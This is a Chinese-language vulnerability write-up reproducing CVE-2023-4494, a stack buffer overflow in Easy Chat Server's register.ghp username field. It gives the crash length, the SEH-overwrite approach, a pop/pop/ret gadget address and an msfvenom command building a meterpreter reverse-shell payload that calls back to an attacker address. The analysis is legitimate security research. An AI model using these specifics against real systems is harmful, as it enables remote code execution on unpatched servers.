Easy Chat Server栈缓冲区溢出漏洞CVE-2023-4494分析与复现

admin 2023年12月12日02:50:41评论20 views字数 2460阅读8分12秒阅读模式

漏洞概述



Easy Chat Server是一款基于Web的在线聊天服务器程序,运行系统为Windows,支持创建多个聊天室,多人在线聊天,该软件曾出现过多个漏洞。近日,安全研究人员发现该软件还存在基于栈溢出的漏洞,漏洞编号CVE-2023-4494。该漏洞源于使用HTTP GET对register.ghp文件进行访问时,未检查用户提交的username值的长度是否超过限制,从而使栈缓冲区溢出,覆盖其他内存空间,可导致任意代码执行。


影响范围



<=3.1


复现环境



操作系统:Win7 sp1,Kali linux

分析工具:IDA,Windbg,OLLYDBG,Burp Suite


漏洞复现



安装3.1版本的Easy Chat Server程序,安装完成后主程序路径为C:EFS SoftwareEasy Chat ServerEasyChat.exe。当前服务器IP为192.168.220.128,启动主程序后,主界面如下图所示:


Easy Chat Server栈缓冲区溢出漏洞CVE-2023-4494分析与复现


使用浏览器对主页进行访问,Web主界面如下图所示:


Easy Chat Server栈缓冲区溢出漏洞CVE-2023-4494分析与复现


根据CVE官方公告,使用HTTP GET对register.ghp文件进行访问时,username字段可导致漏洞产生。所以使用浏览器访问http://192.168.220.128/register.ghp?username=test进行尝试,Web响应界面如下图所示:


Easy Chat Server栈缓冲区溢出漏洞CVE-2023-4494分析与复现


可以看出,register.ghp可能是用户注册页面。同时反编译EasyChat.exe程序,发现还需要传递Password等字段。反编译如下图所示:


Easy Chat Server栈缓冲区溢出漏洞CVE-2023-4494分析与复现


再次使用浏览器访问http://192.168.220.128/register.ghp?username=test&&password=testpwd进行尝试,同时使用Burp Suite进行抓包。根据抓取的数据包,对username字段进行fuzz,尝试找到使主程序崩溃的username值。Burp Suite设置如下图所示:


Easy Chat Server栈缓冲区溢出漏洞CVE-2023-4494分析与复现


当username字段的值为485个A时,Easy Chat Server没有响应HTTP 200,此时Easy Chat Server主程序已经崩溃,说明此时的username值可能导致了漏洞,如下图所示:


Easy Chat Server栈缓冲区溢出漏洞CVE-2023-4494分析与复现
Easy Chat Server栈缓冲区溢出漏洞CVE-2023-4494分析与复现


漏洞分析



根据以上复现情况,找到了使Easy Chat Server主程序崩溃的username值,但是还没有确定是否是溢出而导致的崩溃。重启Easy Chat Server主程序,使用Windbg附加调试,再用Burp Suite将上述复现时的数据包发送到Easy Chat Server主程序。Windbg立即捕获到异常,如下图所示:


Easy Chat Server栈缓冲区溢出漏洞CVE-2023-4494分析与复现


从Windbg中的函数调用堆栈中可以看到,异常发生在HeapFree函数内部。该函数的功能是释放堆内存空间,从代码中可以看出,试图读取一个不存在的地址41414145的数据,导致了异常。另外,函数调用堆栈中出现大量非法的内存指针值和username中的A字符(十六进制41),似乎是函数返回地址被大量A覆盖了。


为了更直观的调试,重启Easy Chat Server主程序,使用OLLYDBG附加调试。在上述出现异常的HeapFree函数地址441AFD处下断点,再用Burp Suite发送异常数据包。在异常发生前最后一次HeapFree处停下,观察函数堆栈,如下图所示:


Easy Chat Server栈缓冲区溢出漏洞CVE-2023-4494分析与复现


此时栈中出现大量HTTP GET发送的username字段值,继续往下查看,发现堆栈中结构化异常处理(SEH)地址已被username字段的值覆盖为41414141,说明发生了栈溢出,如下图所示:


Easy Chat Server栈缓冲区溢出漏洞CVE-2023-4494分析与复现


由于堆栈地址并不是固定的,不方便下断点。所以从异常发生的前一次HeapFree函数地址处单步调式,观察堆栈SEH地址变化。经过多次调试,发现在地址4114FB处的sprintf函数调用,覆盖了SEH和函数返回地址等值,如下图所示:


Easy Chat Server栈缓冲区溢出漏洞CVE-2023-4494分析与复现
Easy Chat Server栈缓冲区溢出漏洞CVE-2023-4494分析与复现


此时Buffer变量大小为256,小于HTTP GET时提交的username的大小485,导致栈溢出,从而导致后面调用HeapFree函数也异常,如下图所示:


Easy Chat Server栈缓冲区溢出漏洞CVE-2023-4494分析与复现


调用sprintf函数前SEH和函数返回地址,如下图所示:


Easy Chat Server栈缓冲区溢出漏洞CVE-2023-4494分析与复现


Easy Chat Server栈缓冲区溢出漏洞CVE-2023-4494分析与复现


漏洞利用



从上述的分析中可以看出,调用sprintf函数拼接username字段前,没有检查username的长度是否超出限制,并且username字段可控,导致栈溢出,可以覆盖SEH和函数返回地址,导致任意代码执行。


对于此类漏洞的利用,一般来说可以将SEH函数地址或者函数返回地址覆盖为栈中可控内容的地址,比如username字段对应的栈地址。但是由于栈地址不固定,需要借助一些固定的代码地址作为跳板,构建ROP(Return-oriented programming)链,跳转到可控内容地址执行任意代码。如果程序开启了DEP(数据执行保护),还需要使用ROP链关闭DEP。


经查,该程序未开启DEP,如下图所示:


Easy Chat Server栈缓冲区溢出漏洞CVE-2023-4494分析与复现


ROP链使用SSLEAY32.DLL地址为1001AE86处的“pop ebp”,” pop ebx”和“retn”指令,将该地址覆盖到SEH函数处,如下图所示:


Easy Chat Server栈缓冲区溢出漏洞CVE-2023-4494分析与复现


利用该漏洞执行的代码,笔者这里使用msf的上线payload(载荷)。值得注意的是,payload中不能有00或空格等字符,以免发生截断,导致利用失败。在kali中使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.220.134 LPORT=8888 -f python -b "x00x20" -v shellcode生成python格式的payload,如下图所示:


Easy Chat Server栈缓冲区溢出漏洞CVE-2023-4494分析与复现


整个漏洞利用结构示意图,如下图所示:


Easy Chat Server栈缓冲区溢出漏洞CVE-2023-4494分析与复现


使用python编写利用脚本,如下图所示:


Easy Chat Server栈缓冲区溢出漏洞CVE-2023-4494分析与复现


最后在kali中启动msf,监听对应的端口8888,运行漏洞利用脚本,msf成功上线,如下图所示:


Easy Chat Server栈缓冲区溢出漏洞CVE-2023-4494分析与复现


POC


https://www.ddpoc.com/poc/DVB-2023-5622.html


原文始发于微信公众号(Beacon Tower Lab):Easy Chat Server栈缓冲区溢出漏洞CVE-2023-4494分析与复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月12日02:50:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Easy Chat Server栈缓冲区溢出漏洞CVE-2023-4494分析与复现https://cn-sec.com/archives/2266711.html

发表评论

匿名网友 填写信息